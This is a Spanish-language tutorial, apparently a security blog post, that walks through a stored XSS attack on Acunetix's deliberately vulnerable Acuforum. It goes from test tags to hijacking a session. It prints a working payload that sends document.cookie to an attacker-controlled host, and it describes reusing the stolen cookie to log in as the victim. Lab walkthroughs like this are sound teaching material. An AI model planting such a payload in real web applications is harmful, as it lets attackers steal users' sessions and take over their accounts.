El día de hoy os traigo un tutorial bastante ligero de leer y replicar. Se trata de la posibilidad de hacernos con el acceso no autorizado a una cuenta de usuario a través de las cookie de sesión de la potencial víctima y aprovechando la explotación de una vulnerabilidad de Cross-Site Scripting (XSS) almacenado. Para replicar este escenario vamos a emplear otro aplicativo web de Acunetix, en este caso Acuforum, que se trata nuevamente de otro recurso intencionadamente vulnerable para llevar a cabo este tipo de prácticas controladas.

Lo primero que haremos es crearnos una cuenta en el foro, en este caso he decidido llamarle simplemente atacante. Con este usuario autenticado en el foro vamos a crear un primer hilo.

Normalmente esta primera inserción de datos lo hacemos para conocer la potencial superficie de ataque de la que disponemos. Especialmente nos centraremos en aquellas inserciones que hemos realizado anteriormente y que pueden ser reflejadas en la respuesta del aplicativo web, en este caso el foro.

Con esto ya revisado llegará la hora de hacer nuestras primeras inserciones de código, para hacerlo progresivo empezaremos con una simple etiqueta <h1> de HTML.

En la respuesta a nuestra inserción comprobaremos que parte del aplicativo web se “altera” y/o toma la entrada de usuario para interpretarla. En este caso observamos que el campo del que nos valdremos es el campo “Message subject”. Alternativamente podríamos usar otros elementos de HTML, como por ejemplo la etiqueta <plaintext>.

Si vemos el código fuente del aplicativo web observamos claramente como se ubica nuestra etiqueta <h1> insertada.

Ahora “subiremos un nivel” empleando etiquetas como <script> que permite la inserción de código JavaScript que puede ser interpretado del lado del cliente. La prueba estándar en estos casos es sacar un mensaje en pantalla, para ello emplearemos la utilidad alert().

Nuevamente observaremos los resultados visitando el hilo de prueba creado.

Debemos tener en cuenta que en este caso el mensaje insertado es permanente, por tanto se considera que nuestra vulnerabilidad de Cross-Site Scripting (XSS) es de tipo almacenado o persistente, ya que el código se ejecutará cada vez que un usuario acceda al hilo creado por el atacante.

Por tanto, nos valdremos de esta situación para insertar un código mucho más sofisticado, que por ejemplo, aprovechando que cada acceso genere la obtención de la cookie de sesión del usuario y la envíe a través de una llamada a un servidor controlado por el atacante que recibirá este registro y todos los datos trasladados, incluido la ansiada cookie de sesión de usuario.
En el servidor del atacante generaremos el siguiente fichero PHP que hará el tratamiento de los datos obtenidos de las víctimas.

Ahora emplearemos el siguiente trozo de código para el propósito global, el robo de la cookies de sesión de usuario y el instantáneo envío al atacante.

<script> var i = new Image(); i.src="http://evilsite.orgfree.com/XSS/cookies.php?result="+document.cookie; </script>

A partir de ahora nos centraremos en los valores de las cookies de sesiones de los usuarios. En primer lugar observemos el valor de la cookie de sesión del atacante.

Como se puede ver en el resultado, nada más acceder al hilo de prueba creado, la cookie de sesión (del atacante, en este caso como PoC inicial) es capturada y remitida al servidor del atacante. Adicionalmente me he permitido registrar la fecha y la hora de la captura + la dirección IP pública de la víctima.

Ahora simularemos un acceso de parte de un usuario convencional, una potencial víctima. Que al acceder al hilo preparado por el atacante previamente o incluso a cualquier otro hilo, donde el atacante haya dejado insertado el script malicioso, está entregando involuntariamente el valor de su cookie de sesión de usuario al atacante.

Finalmente el atacante simplemente tendría que tomar estos valores de las cookies de sesiones de las víctimas y añadirlas a su navegador.

De esta forma el atacante logrará tener acceso no autorizado a la cuenta de usuario bajo el rol de la victima.

Obviamente son muchas las posibilidades de aprovechamiento a través de este tipo de vulnerabilidades de Cross-Site Scripting (XSS), que principalmente las de tipo almacenado suelen suponer un riesgo elevado para las aplicaciones web y sus usuarios.

Espero pronto traerles nuevas entradas vinculadas a las vulnerabilidades de Cross-Site Scripting (XSS) y otras vulnerabilidades de aplicaciones web en general, por el momento aquí les dejo algunas referencias y recursos para tomar muy en cuenta.

Referencias